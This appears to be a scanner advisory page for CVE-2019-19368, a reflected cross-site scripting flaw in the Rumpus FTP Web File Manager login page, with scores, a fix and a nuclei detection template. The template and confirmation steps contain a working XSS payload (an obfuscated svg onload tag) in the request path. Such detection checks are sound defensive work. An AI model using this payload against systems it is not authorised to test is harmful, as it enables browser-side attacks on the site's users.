Rumpus FTP Web File Manager 8.2.9.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

23.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Rumpus FTP Web File Manager 8.2.9.1 contains a reflected cross-site scripting vulnerability via the Login page. An attacker can send a crafted link to end users and can execute arbitrary JavaScript.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Rumpus FTP Web File Manager or apply the vendor-provided patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//
Positive when: contains "value=''><sVg/OnLoAD=alert`1337`//'>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19368 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-19368

info:
  name: Rumpus FTP Web File Manager 8.2.9.1 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: Rumpus FTP Web File Manager 8.2.9.1 contains a reflected cross-site scripting vulnerability via the Login page. An attacker can send a crafted link to end users and can execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Rumpus FTP Web File Manager or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://github.com/harshit-shukla/CVE-2019-19368/
    - https://www.maxum.com/Rumpus/Download.html
    - http://packetstormsecurity.com/files/155719/Rumpus-FTP-Web-File-Manager-8.2.9.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19368
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19368
    cwe-id: CWE-79
    epss-score: 0.23639
    epss-percentile: 0.97829
    cpe: cpe:2.3:a:maxum:rumpus:8.2.9.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: maxum
    product: rumpus
  tags: cve,cve2019,xss,ftp,packetstorm,maxum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "value=''><sVg/OnLoAD=alert`1337`//'>"

      - type: status
        status:
          - 200

References

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